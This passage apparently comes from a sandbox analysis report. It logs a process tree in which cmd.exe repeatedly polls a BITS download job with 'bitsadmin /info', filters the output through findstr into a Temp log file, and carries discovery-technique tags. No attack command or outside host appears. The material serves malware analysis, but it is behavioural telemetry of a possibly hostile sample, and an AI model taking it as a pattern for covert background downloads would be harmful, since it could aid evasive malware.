        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3688
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3748
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3476
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:868
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3968
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3884
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3660
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3340
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1976
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1532
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3652
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1960
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1432
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4076
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3480
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2744
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2620
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3420
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3772
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1548
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2664
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2176
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:972
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3816
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2084
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1832
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2292
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1600
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:4012
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3520
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2900
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2332
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:444
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1412
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1680
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3132
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3528
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3920
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3780
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3884
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1492
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1528
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3720
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1016
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3532
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1960
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2892
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3692
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3056
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3480
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3624
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1432
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2824
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:4068
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2944
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2532
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2620
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2064
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2544
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3548
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1536
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3952
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1292
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2192
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2100
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2056
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2180
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2540
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1944
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1524
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1836
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:624
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3092
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3612
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2328
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:4012
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3492
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2160
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2884
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2272
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3928
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2104
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3528
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2236
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1016
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3616
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1396
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1312
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3692
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:4020
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2696
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1432
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:4076
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2212
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3560
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3276
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2824
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2616
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2064
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2276
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:564
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3952
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3816
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3548
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3800
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2180
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1592
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2476
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2244
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2972
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3912
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3896
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2084
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2828
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2924
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3492
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3748
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3660
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:804
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2640
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1468
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2076
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2520
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1224
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3692
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1984
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2824
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:756
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
